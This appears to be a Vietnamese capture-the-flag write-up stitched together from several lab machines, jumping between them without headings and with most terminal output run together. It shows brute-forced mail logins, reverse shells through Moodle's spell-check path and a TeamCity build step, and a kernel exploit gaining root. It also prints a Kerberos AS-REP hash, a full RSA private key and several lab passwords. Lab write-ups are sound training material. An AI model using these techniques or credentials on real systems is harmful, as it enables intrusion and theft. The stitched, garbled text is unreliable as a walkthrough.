Truy cập vào file js này tôi tìm được vài thứ thú vị
vardata=[{GoldenEyeText:"<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"}];////Boris, make sure you update your default password. //My sources say MI6 maybe planning to infiltrate. //Be on the lookout for any suspicious network traffic....////I encoded you p@ssword below...////InvincibleHack3r////BTW Natalya says she can break your codes//varallElements=document.getElementsByClassName("typeing");for(varj=0;j<allElements.length;j++){varcurrentElementId=allElements[j].id;varcurrentElementIdContent=data[0][currentElementId];varelement=document.getElementById(currentElementId);vardevTypeText=currentElementIdContent;vari=0,isTag,text;(functiontype(){text=devTypeText.slice(0,++i);if(text===devTypeText)return;element.innerHTML=text+`<span class='blinker'> </span>`;varchar=text.slice(-1);if(char==="<")isTag=true;if(char===">")isTag=false;if(isTag)returntype();setTimeout(type,60);})();}
Người phải thay đổi password là Boris.
Và khi giải mã đoạn code với HTML decoder, tôi tìm được password của anh ta.
Truy cập vào path /sev-home/ và login bằng username và password vừa tìm được
Không khả thi cho lắm. Tuy nhiên tôi còn 1 cái tên nữa là natalya, và để tìm được password của user này thì tôi lại quay về cách đơn giản nhất thôi - bruteforce.
retr1+OK631octetsReturn-Path:<root@ubuntu>X-Original-To:natalyaDelivered-To:natalya@ubuntuReceived:fromok(localhost[127.0.0.1])byubuntu(Postfix)withESMTPidD5EDA454B1for<natalya>;Tue,10Apr199519:45:33-0700(PDT)Message-Id:<20180425024542.D5EDA454B1@ubuntu>Date:Tue,10Apr199519:45:33-0700(PDT)From:root@ubuntuNatalya,pleaseyouneedtostopbreakingboris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
Message 2
retr2+OK1048octetsReturn-Path:<root@ubuntu>X-Original-To:natalyaDelivered-To:natalya@ubuntuReceived:fromroot(localhost[127.0.0.1])byubuntu(Postfix)withSMTPid17C96454B1for<natalya>;Tue,29Apr199520:19:42-0700(PDT)Message-Id:<20180425031956.17C96454B1@ubuntu>Date:Tue,29Apr199520:19:42-0700(PDT)From:root@ubuntuOkNatalynIhaveanewstudentforyou.Asthisisanewsystempleaseletmeorborisknowifyouseeanyconfigissues,especiallyisit's related to security...even if it'snot,justenteritinundertheguiseof"security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn'thavetheURLonoutrinternalDomain:severnaya-station.com/gnocertdir**Makesuretoedityourhostfilesinceyouusuallyworkremoteoff-network....Sinceyou're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
Theo như message 2, tôi phải thêm domain vào file hosts và vào domain severnaya-station.com/gnocertdir để login với user và password phía trên
Sau khi đã thêm domain và hosts và truy cập url, tôi được 1 trang web sử dụng Moodle LMS.
Đăng nhập bằng user và pass ở phía trên, vào được user này tôi có 1 message chưa đọc
Ở đây tôi còn có thêm 1 user nữa tên là Doak. Thử bruteforce user này luôn
┌──(kali㉿kali)-[~]└─$telnet10.10.52.16255007Trying10.10.52.162...Connectedto10.10.52.162.Escapecharacteris'^]'.+OKGoldenEyePOP3Electronic-MailSystemuserdoak+OKpassgoat+OKLoggedin.list+OK1messages:1606.retr1+OK606octetsReturn-Path:<doak@ubuntu>X-Original-To:doakDelivered-To:doak@ubuntuReceived:fromdoak(localhost[127.0.0.1])byubuntu(Postfix)withSMTPid97DC24549Dfor<doak>;Tue,30Apr199520:47:24-0700(PDT)Message-Id:<20180425034731.97DC24549D@ubuntu>Date:Tue,30Apr199520:47:24-0700(PDT)From:doak@ubuntuJames,Ifyou're reading this, congrats you'vegottenthisfar.Youknowhowtradecraftworksright?BecauseIdon't. Go to our training site and login to my account....dig until you can exfiltrate further information......
username: dr_doak
password: 4England!
Login moodle với user này. Dạo quanh 1 chút tôi tìm thấy 1 file có tên s3cret.txt bên trong phần My private files. Tải file đó về
*007,
*I was able to capture this apps adm1n cr3ds through clear txt.
*Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
*Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
Đăng nhập moodle với user admin và pass là đoạn code tôi vừa tìm được.
RCE
Tiếp theo phải tìm cách để lấy RCE.
Theo như trong phần hướng dẫn trong task, tìm đến Aspell, sau đó đổi Spell engine thành PSpellShell và thay đổi Path to aspell thành reverse shell chứa IP và port mà tôi muốn gọi về máy local.
Bây giờ để kích hoạt được shell này, tôi phải thực hiện spell check và server sẽ gọi spellpath mà tôi đã thay đổi thành shell ban nãy.
Trước khi spell check thì cần tạo listener với port vừa cấu hình trong shell
Navigation -> Home -> My Profile -> Blogs -> Add a new entry
Ấn vào dấu tích xanh ABC trên thanh công cụ và quay lại listener
$./exploit./exploitspawningthreadsmount#1
mount#2
childthreadsdone/etc/ld.so.preloadcreatedcreatingsharedlibrary# id
iduid=0(root)gid=0(root)groups=0(root),33(www-data)# ls -la /root
ls-la/roottotal44drwx------3rootroot4096Apr292018.drwxr-xr-x22rootroot4096Apr242018..-rw-r--r--1rootroot19May32018.bash_history-rw-r--r--1rootroot3106Feb192014.bashrcdrwx------2rootroot4096Apr282018.cache-rw-------1rootroot144Apr292018.flag.txt-rw-r--r--1rootroot140Feb192014.profile-rw-------1rootroot1024Apr232018.rnd-rw-------1rootroot8296Apr292018.viminfo
┌──(kali㉿kali)-[~]└─$impacket-GetNPUsers-dc-ip10.10.15.106-usersfileuser.txt-no-passvulnnet-rst.local/Impacketv0.10.0-Copyright2022SecureAuthCorporation[-]UserAdministratordoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn'thaveUF_DONT_REQUIRE_PREAUTHset[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)[-]UserWIN-2BO8M1OE1M1$doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User enterprise-core-vn doesn'thaveUF_DONT_REQUIRE_PREAUTHset[-]Usera-whitehatdoesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:06e72f956b790ca9f51e200ba6ba5533$85e557a35c7ce7cf1e9d648ca35799fa8e6a141a4aea843dd759a8cffae1aa642bb90eb031b5e0b68277413dcdbe4ca2c4bc55240aa9bda8401876df2a9e96991153ded0e68f46ef369f68587e2f486f4411c85730ae91b95d3cc8c351b54282d5bc52ba2268c3d529e70c83c6e16ffa85e72c596e5fadea45ea5260b8c10bcc96feee72536887d1626119e9bc96dbe8f3f9a0cf6fc3e30cd0a6b737745dd200718cf3c69314d467be57c47be6a37af19148b57c68af2544da5fd528485920f2894b2ee3594ba4c4b5f72e94bfb66bf32e3fee1f3a6918e021da7da1708607cca66dd386018d3e14968b9203179d5d06896669951ab2
[-] User j-goldenhand doesn'thaveUF_DONT_REQUIRE_PREAUTHsetsmbcli[-]Userj-leetdoesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali㉿kali)-[~]└─$catResetPassword.vbsOptionExplicitDimobjRootDSE,strDNSDomain,objTrans,strNetBIOSDomainDimstrUserDN,objUser,strPassword,strUserNTName' Constants for the NameTranslate object.
Const ADS_NAME_INITTYPE_GC = 3
Const ADS_NAME_TYPE_NT4 = 3
Const ADS_NAME_TYPE_1779 = 1
If (Wscript.Arguments.Count <> 0) Then
Wscript.Echo "Syntax Error. Correct syntax is:"
Wscript.Echo "cscript ResetPassword.vbs"
Wscript.Quit
End If
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
'DetermineDNSdomainnamefromRootDSEobject.SetobjRootDSE=GetObject("LDAP://RootDSE")strDNSDomain=objRootDSE.Get("defaultNamingContext")' Use the NameTranslate object to find the NetBIOS domain name from the
'DNSdomainname.SetobjTrans=CreateObject("NameTranslate")objTrans.InitADS_NAME_INITTYPE_GC,""objTrans.SetADS_NAME_TYPE_1779,strDNSDomainstrNetBIOSDomain=objTrans.Get(ADS_NAME_TYPE_NT4)' Remove trailing backslash.
strNetBIOSDomain = Left(strNetBIOSDomain, Len(strNetBIOSDomain) - 1)
'UsetheNameTranslateobjecttoconverttheNTusernametothe' Distinguished Name required for the LDAP provider.
On Error Resume Next
objTrans.Set ADS_NAME_TYPE_NT4, strNetBIOSDomain & "\" & strUserNTName
If (Err.Number <> 0) Then
On Error GoTo 0
Wscript.Echo "User " & strUserNTName _
& " not found in Active Directory"
Wscript.Echo "Program aborted"
Wscript.Quit
End If
strUserDN = objTrans.Get(ADS_NAME_TYPE_1779)
'Escapeanyforwardslashcharacters,"/",withthebackslash' escape character. All other characters that should be escaped are.
strUserDN = Replace(strUserDN, "/", "\/")
'BindtotheuserobjectinActiveDirectorywiththeLDAPprovider.OnErrorResumeNextSetobjUser=GetObject("LDAP://"&strUserDN)If(Err.Number<>0)ThenOnErrorGoTo0Wscript.Echo"User "&strUserNTName_&" not found in Active Directory"Wscript.Echo"Program aborted"Wscript.QuitEndIfobjUser.SetPasswordstrPasswordIf(Err.Number<>0)ThenOnErrorGoTo0Wscript.Echo"Password NOT reset for "&vbCrLf&strUserNTNameWscript.Echo"Password "&strPassword&" may not be allowed, or"Wscript.Echo"this client may not support a SSL connection."Wscript.Echo"Program aborted"Wscript.QuitElseobjUser.AccountDisabled=FalseobjUser.Put"pwdLastSet",0Err.ClearobjUser.SetInfoIf(Err.Number<>0)ThenOnErrorGoTo0Wscript.Echo"Password reset for "&strUserNTNameWscript.Echo"But, unable to enable account or expire password"Wscript.QuitEndIfEndIfOnErrorGoTo0Wscript.Echo"Password reset, account enabled,"Wscript.Echo"and password expired for user "&strUserNTName
Tôi sẽ tập trung phân tích redis trước vì tôi thấy có service ở phía trên, có thể khai thác được gì đó, cái gì đó ở đây có thể password để truy cập vào service này. Tôi thử tìm “pass” và đã có kết quả
Bây giờ thì thử tìm kiếm các cách khai thác với redis
Quay lại 1 chút thông tin về máy này thì ở phần hint của flag thứ 2 chỉ ra rằng flag nằm trong 1 file db. Sau khi linpeas chạy xong thì tôi để ý thấy có 1 file rdb bên trong redis
Nó list ra tất cả các file có trong thư mục share này, tất nhiên là quá dài nên tôi sẽ không ghi vào đây. Để đọc được các file này, tôi phải clone nó về máy local
Tuy nhiên sau khi dạo quanh 1 vòng tôi cũng không tìm được gì quá đặc biệt. Mất 1 lúc khá lâu để ngồi xem lại từ đầu xem tôi có bỏ sót gì không, quay ngược lại RCE ban đầu tôi nhận ra còn 1 thư mục khá thú vị mà tôi đã bỏ qua đó là TeamCity
Điều này có nghĩa là tôi cần token để login. Và việc đầu tiên tôi nghĩ đến là tìm nó bên trong log, vì có thể những phiên đăng nhập trước đó vẫn còn ghi lại trong log.
Tìm từ khóa token bên trong tất cả các file tại thư mục /logs
Với token cuối cùng thì tôi đã tìm đăng nhập thành công. Hiện tại tôi đang truy cập với root, có nghĩa là tôi có thể toàn quyền sử dụng TeamCity và sẽ tìm cách để RCE
Sau khi mất 1 thời gian tương đối để tìm hiểu thêm về TeamCity, tôi đã tìm được cách lấy RCE. Đầu tiên vẫn phải tạo 1 project mới, sau đó chọn Buil Step với command line và nhập payload vào Custom script, nó sẽ giống như thế này
Sau đó save nó lại. Tiếp theo tạo listener với port đã thêm trong payload, ở đây tôi dùng port 9001
nc -lnvp 9001
Sau khi đã save xong, tôi chọn Run ở cửa sổ tiếp theo
Quay trở lại listener
┌──(kali㉿kali)-[~]└─$nc-lnvp9001listeningon[any]9001...connectto[10.6.0.191]from(UNKNOWN)[10.10.211.50]49704root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f# id
iduid=0(root)gid=0(root)groups=0(root)root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f#
root@vulnnet-internal:/TeamCity/buildAgent/work/2b35ac7e0452d98f# cd
cdroot@vulnnet-internal:~# ls /root
ls/rootroot.txtroot@vulnnet-internal:~#
┌──(kali㉿kali)-[~]└─$catnote.txtIncaseIforgetmypassword,I'm leaving a pointer to the internal shell service on the server.
Connect to port 4420, the password is sardinethecat.
- catlover
┌──(kali㉿kali)-[~]
└─$
Sau khi tìm hiểu 1 chút thì tôi biết được port 4420 với service nvm-express hay còn gọi là NVMe là 1 chuẩn giao tiếp cho ổ cứng SSD. Sử dụng netcat để kết nối đến port này
Tôi tìm thấy 1 file runme trong thư mục user /home/catlover. Thử cat nó và tôi nhận ra đấy là 1 file binary. Nhưng nhìn kỹ thì có 1 dòng có thể đọc được.
Điều này có nghĩa là khi nhập đúng password, tôi sẽ nhận được ssh key
Có 1 cái tên rebecca ở phía trước đoạn nhập input. Tôi sẽ thử chạy file này và nhập rebecca
Ihavenoname!@cat-pictures:/home/catlover# ./runme
./runmePleaseenteryoutpassword:rebeccaWelcome,catlover!SSHkeytransferqueued!Ihavenoname!@cat-pictures:/home/catlover# ls -la
ls-latotal32drwxr-xr-x2004096Nov1807:24.drwxr-xr-x3004096Apr22021..-rw-r--r--1001675Nov1807:24id_rsa-rwxr-xr-x10018856Apr32021runmeIhavenoname!@cat-pictures:/home/catlover#
Ihavenoname!@cat-pictures:/home/catlover# cat id_rsa
catid_rsa-----BEGINRSAPRIVATEKEY-----MIIEogIBAAKCAQEAmI1dCzfMF4y+TG3QcyaN3B7pLVMzPqQ1fSQ2J9jKzYxWArW5IWnCNvY8gOZdOSWgDODCj8mOssL7SIIgkOuD1OzM0cMBSCCwYlaN9F8zmz6UJX+kjSmQqh7eqtXuAvOkadRoFlyog2kZ1Gb72zebR75UCBzCKv1zODRx2zLgFyGu0k2uxCa4zmBdm80X0gKbk5MTgM4/l8U3DFZgSg45v+2uM3aoqbhSNu/nXRNFyR/Wb10HtzeTEJeqIrjbAwcOZzPhISo6fuUVNH0pLQOf/9B1ojI3/jhJ+zE6MB0m77iE07crlT5PuxlcjbItlEF9tjqudycnFRlGAKG6uU8/8wIDAQABAoIBAH1NyDo5p6tEUN8oaErdRTKkNTWknHf8m27h+pW6TcKOXeu15o3ad8t7cHEUR0h0bkWFrGo8zbhpzcteD2/Z85xGsWouufPL3fW4ULuEIziGK1utv7SvioMh/hXmyKymActny+NqUoQ2JSBBQuhqgWJppE5RiO+U5ToqYccBv+1e2bO9P+agWe+3hpjWtiAUHEdorlJK9D+zpw8s/+9CjpDzjXA45X2ikZ1AhWNLhPBnH3CpIgug8WIxY9fMbmU8BInA8M4LUvQq5A63zvWWtuh5bTkj622QQc0Eq1bJ0bfUkQRD33sqRVUUBE9r+YvKxHAOrhkZHsvwWhK/oylx3WECgYEAyFR+lUqnQs9BwrpS/A0SjbTToOPiCICzdjW9XPOxKy/+8Pvn7gLv00j5NVv6c0zmHJRCG+wELOVSfRYv7z88V+mJ302Bhf6uuPd9Xu96d8Kr3+iMGoqptK7/3m4FjoiNCpZbQw9VHcZvkq1ET6qdzU+1I894YLVu258KeCVUqIMCgYEAwvHyQTo6VdMOdoINzdcCCcrFCDcswYXxQ5SpI4qMpHniizoa3oQRHO5miPlAKNytw5PQzSKoIW47AObP2twzVAH7d+PWRzqAGZXW8gsF6Ls48LxSJGzz8V191PjbcGQO7OroEm8pQ+qCISxv3A8fKvG5E9xOspD0/3lsM/zGD9ECgYBOTgDAuFKS4dKRnCUt0qpK68DBJfJHYo9DiJQBTlwVRoh/h+fLeChoTSDkQ5StFwTnbOg+Y83qAqVwsYiBGxWqQ2YZ/ADB8KA5OrwtrKwRPe3S8uI4ybS2JKVtO1I+uY9v8P+xQcACiHs6OTH3dfiCtUJXwhQKsUCo5gzAk874owKBgC/xvTjZjztIWwg+WBLFzFSIMAkjOLinrnyGdUquaoSRDWxcb/tF08efwkvxsRvbmki9c97fpSYDrDM+kOQsv9rrWeNUf4CpHJQuS9zfZSal1Q0v46vdt+kmqynTwnRTx2/xHf5apHV1mWd7PE+M0IeJR5Fg32H/UKH8ROZMRpHhAoGAehljGmhge+i0EPtcok8zJe+qpcV2SkLRi7kJZ2LaR97QAmCCsH5SndzRtDjVbkh5BX0cYtxDnfAF3ErDU15jP8+27pEO5xQNYExxf1y7kxB6Mh9JYJlq0aDtO4fvFElowV6MXVEMY/04fdnSWavh0D+IkyGRcY5myFHyhWvmFcQ=-----ENDRSAPRIVATEKEY-----Ihavenoname!@cat-pictures:/home/catlover#
Lưu key này về vào login ssh
┌──(kali㉿kali)-[~]└─$ssh-iid_rsacatlover@10.10.213.118WelcometoUbuntu18.04.5LTS(GNU/Linux4.15.0-142-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageSysteminformationasofThuNov1723:29:45PST2022Systemload:0.41Usageof/:37.2%of19.56GBMemoryusage:60%Swapusage:0%Processes:100Usersloggedin:0IPaddressforeth0:10.10.213.118IPaddressforbr-98674f8f20f9:172.18.0.1IPaddressfordocker0:172.17.0.152updatescanbeappliedimmediately.25oftheseupdatesarestandardsecurityupdates.Toseetheseadditionalupdatesrun:aptlist--upgradableLastlogin:FriJun414:40:352021root@7546fa2336d6:/# id
uid=0(root)gid=0(root)groups=0(root)root@7546fa2336d6:/# ls root/
flag.txt
Privilege escalation
Khi kiểm tra qua các thư mục, tôi nhận ra đây là 1 container chứ không phải 1 machine, vì nó .dockerenv và thư mục gốc cũng giống với docker image
root@7546fa2336d6:/# ls -la
total108drwxr-xr-x1rootroot4096Mar252021.drwxr-xr-x1rootroot4096Mar252021..-rw-------1rootroot588Jun42021.bash_history-rwxr-xr-x1rootroot0Mar252021.dockerenvdrwxr-xr-x1rootroot4096Apr92021bindrwxr-xr-x3rootroot4096Mar242021bitnamidrwxr-xr-x2rootroot4096Jan302021boot
Thêm 1 điều nữa, bên trong /opt/clean có 1 file clean.sh, file sh này sẽ xóa hết những gì có trong thư mục /tmp, nhưng thực sự thì điều không quan trọng lắm vì tôi chỉ cần thêm RCE vào file sh này để nó tự thực thi.
┌──(kali㉿kali)-[~]└─$nc-lnvp2402listeningon[any]2402...connectto[10.6.0.191]from(UNKNOWN)[10.10.213.118]34968bash:cannotsetterminalprocessgroup(2329):Inappropriateioctlfordevicebash:nojobcontrolinthisshellroot@cat-pictures:~#
root@cat-pictures:~# id
iduid=0(root)gid=0(root)groups=0(root)root@cat-pictures:~# ls /root
ls/rootfirewallroot.txtroot@cat-pictures:~#
Tôi có 1 cái tên ở đây là elyana, cũng có thể là username luôn.
Sử dụng wpscan để khai thác về web này.
┌──(kali㉿kali)-[~]└─$wpscan--urlhttp://10.10.68.232/wordpress/-evp,u_____________________________________________________________________________
\ \ //__ \ /____|
\ \ /\ //||__)|(____________®
\ \/ \//|___/ \___ \ /__|/_`|'_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://10.10.68.232/wordpress/ [10.10.68.232]
[+] Started: Thu Nov 17 02:31:59 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.68.232/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.10.68.232/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.68.232/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.68.232/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.68.232/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
| - http://10.10.68.232/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://10.10.68.232/wordpress/wp-content/themes/twentytwenty/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://10.10.68.232/wordpress/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 2.1
| Style URL: http://10.10.68.232/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.68.232/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version:1.5'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] elyana
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.68.232/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
Từ những thông tin trên, tôi thu được 1 wordpress với phiên bản 5.5.1, nó đang sử dụng theme twentytwenty phiên bản cũ, đây có thể là 1 lưu ý để thực hiện RCE sau khi đã login được vào wordpress.
Tiếp theo là user elyana đúng như tôi dự đoán phía trên. Vậy thì tôi sẽ thử login wordpress với username elyana và pass là đoạn text tôi vừa tìm được
Tôi thành công với elyana - H@ckme@123. Truy cập vào theme twentytwenty và sửa nó với shell php của tôi, thay đổi địa chỉ ip và port bằng địa chỉ máy của tôi và update file.
Sau đó tạo listener với netcat: nc -lnvp 2402
Truy cập vào link: http://10.10.183.28/wordpress/wp-content/themes/twentytwenty/404.php
┌──(kali㉿kali)-[~]└─$nc-lnvp2402listeningon[any]2402...connectto[10.6.0.191]from(UNKNOWN)[10.10.183.28]54774Linuxelyana4.15.0-118-generic#119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
09:00:05up26min,0users,loadaverage:0.00,0.02,0.29USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data)gid=33(www-data)groups=33(www-data)/bin/sh:0:can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
SSH
$cd/home$lselyana$cd/home/elyana$lshint.txtuser.txt$catuser.txtcat:user.txt:Permissiondenied$iduid=33(www-data)gid=33(www-data)groups=33(www-data)$cathint.txtElyana's user password is hidden in the system. Find it ;)
$
$ find / -type f -user elyana 2>/dev/null
/home/elyana/user.txt
/home/elyana/.bash_logout
/home/elyana/hint.txt
/home/elyana/.bash_history
/home/elyana/.profile
/home/elyana/.sudo_as_admin_successful
/home/elyana/.bashrc
/etc/mysql/conf.d/private.txt
$ cat /etc/mysql/conf.d/private.txt
user: elyana
password: E@syR18ght
$
Thử login ssh với user elyana
┌──(kali㉿kali)-[~]└─$sshelyana@10.10.183.28Theauthenticityofhost'10.10.183.28 (10.10.183.28)'can't be established.
ED25519 key fingerprint is SHA256:Rm7wS3JV0q1IHCuI5dWaanuCoSlTYECCa9jTEE4BFsI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.183.28' (ED25519) to the list of known hosts.
elyana@10.10.183.28'spassword:WelcometoUbuntu18.04.5LTS(GNU/Linux4.15.0-118-genericx86_64)*Documentation:https://help.ubuntu.com*Management:https://landscape.canonical.com*Support:https://ubuntu.com/advantageSysteminformationasofThuNov1709:11:29UTC2022Systemload:0.07Processes:116Usageof/:53.3%of6.41GBUsersloggedin:0Memoryusage:62%IPaddressforeth0:10.10.183.28Swapusage:0%16packagescanbeupdated.0updatesaresecurityupdates.Lastlogin:FriOct908:09:562020-bash-4.4$iduid=1000(elyana)gid=1000(elyana)groups=1000(elyana),4(adm),27(sudo),108(lxd)-bash-4.4$-bash-4.4$lshint.txtuser.txt-bash-4.4$